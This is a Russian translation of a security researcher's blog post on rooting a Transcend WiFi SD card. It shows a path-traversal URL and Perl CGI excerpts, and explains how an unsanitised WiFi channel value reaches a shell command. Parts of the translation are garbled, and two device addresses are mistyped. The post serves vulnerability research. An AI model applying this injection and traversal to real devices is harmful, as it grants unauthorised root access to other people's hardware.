Рутирование sd-карты Transcend WiFi

Перевод статьи Rooting the Transcend WiFi SD card by injecting commands into the wifi channel config с любезного согласия Jared Deckard

посредством инъекции комманд в wifi-канал

Этот эксплойт требует открытия страницы "Files" в веб-интерфейсе карты и побега к корню файловой системы.

http://192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww%2Fsd%2F..%2F..

http://haxit.blogspot.com/2013/08/hacking-transcend-wifi-sd-cards.html

/www/cgi-bin содержит скрипты, которые могут быть выполнены с помощью http-запросов. По ссылке, указанной выше, использует тот факт, что Perl-скрипты используют параметры запроса системной команды, которая устанавливает учетные данные для входа. Давайте посмотрим, можем ли мы найти вектор атаки, чтобы не повредить состояние конфигурации.

Я скачал содержимое директории cgi-bin и решили построить регулярное выражение, которое может выявить уязвимые системные вызовы. В конечном итоге, получилось следующее:

Searching 16 files for "`[^`\n]*\$[A-Z_]+[^`\n]*`" (regex, case sensitive)

/www/cgi-bin/kcard_edit_config.pl:
    5  my $WiFi_channel;
    6  my $Host_Switch_LEN=0;
    7: #`$WPA2_Key_backup`;
    8  sub wireless_scan{
    9      if(`$iwlist_scan`){

/www/cgi-bin/kcard_edit_config_insup.pl:
    5  my $WiFi_channel;
    6  my $Host_Switch_LEN=0;
    7: #`$WPA2_Key_backup`;
    8  sub wireless_scan{
    9      if(`$iwlist_scan`){

/www/cgi-bin/kcard_save_config.pl:
   80     close(CONFIG_FILE);   
   81     if (length($LOGIN_USR) >= 5  && length($LOGIN_PWD) >= 3) {
   82:      `$update_auth $LOGIN_USR $LOGIN_PWD > /mnt/mtd/config/ia.passwd`
   83     }
   84  #`$auth_to_mtd`;
   ..
  224  {
  225  #system("cp /etc/wsd.conf /etc/wsd_backup.conf");
  226: #`$WPA2_Key_backup`;
  227  open(FHD, ">/mnt/mtd/config/hostapd.conf") or die("Could not open hostapd.conf");
  228  print FHD <<EndText;

/www/cgi-bin/kcard_save_config_insup.pl:
   96     close(CONFIG_FILE);   
   97     if (length($LOGIN_USR) >= 5  && length($LOGIN_PWD) >= 3) {
   98:      `$update_auth $LOGIN_USR $LOGIN_PWD > /mnt/mtd/config/ia.passwd`
   99     }
  100  #`$auth_to_mtd`;
  ...
  252  {
  253  #system("cp /etc/wsd.conf /etc/wsd_backup.conf");
  254: #`$WPA2_Key_backup`;
  255  open(FHD, ">/mnt/mtd/config/hostapd.conf") or die("Could not open hostapd.conf");
  256  print FHD <<EndText;

/www/cgi-bin/kcard_status.pl:
    5  my $Host_Channel = &Channel();
    6  my $WPA2_Channel = "/bin/iwconfig $HWDEV channel $Host_Channel"; 
    7: `$WPA2_Channel`;
    8  my $iwlist_channel="/bin/iwlist $HWDEV channel > /tmp/iwlist_channel.txt";
    9  my $dhcp_list="/usr/bin/dumpleases -f /var/lib/misc/udhcpd.lease > /tmp/dhcpd.lease";

7 matches across 5 files

Стратегия была в том, чтобы ввести переменные, которые имели букву верхнего регистра в именах. Переменные, которые были строчные, казались жестко кодированными строками.

/www/cgi-bin/kcard_status.pl

my $Host_Channel = &Channel();
my $WPA2_Channel = "/bin/iwconfig $HWDEV channel $Host_Channel"; 
`$WPA2_Channel`;

lines 5-7

Выглядит интересно. Переменная в конце системной команды.

sub Channel{
    open(my $CONFIG_FILE, "<", "/etc/wsd.conf") or die("Could not open wsd.conf");
    my($Host_Channel);
    while( my $line = <$CONFIG_FILE>){
        chomp($line);
           if($line =~ /Channel : (.*)/){
            $Host_Channel = $1;
           }
   }
   close(CONFIG_FILE);      
   return ($Host_Channel);
}

строки 186-197

Все, что после двоеточия? Что нужно делать.

Я не могу вписать в конфиг файл напрямую, но, конечно, могу изменить канал WiFi  где-то в настройках.

/cgi-bin/kcard_edit_config_insup.pl

Нет канала ввода WiFi...

Столько скрытых входов!

/www/cgi-bin/kcard_save_config_insup.pl

foreach $NameValue (@NameValuePairs) {
  ($Name, $Value) = split (/=/, $NameValue);
  $Value =~ tr/+/ /;
  $Value =~ s/%([\dA-Fa-f][\dA-Fa-f])/ pack ("C",hex ($1))/eg;
  $Form{$Name} = $Value;
}

строки 132-137

Вручную спарсить параметры запроса...

$CHANNEL_SET = $Form{Channel_Num};

строка 154

Присвоить канал переменной...

print CONFIG_FILE "Channel : $CHANNEL_SET\n”;

строка 60

Slap a new line on that bad boy and flush it to the disk!

Нновая строка о том, что плохой мальчик добавляет ее на диск!

Все, что нам нужно сделать, это запустить скрипт в конце канала беспроводной доступ в интернет, разместить его на http://92.168.11.254/cgi-bin/kcard_save_config_insup.pl и получить http://92.168.11.254/cgi-bin/card_status.pl в любое время, когда мы хотим, чтобы скрипт выполнился.

Время обновить полную версию busybox и получить шоу по пути.

Заключение

Без физического доступа к устройству мы получили root-доступ к файловой системе. Будущие исследования будут направлены на обход администратора учетных данных и беспроводной ключ.

Контакты

Если вы нашли опечатку, некоторые двусмысленности, или сочный новый хак, не стесняйтесь оставить комментарий здесь.

Или пишите автору напрямую:

Jared Deckard (jared.deckard+sdwifi@gmail.com)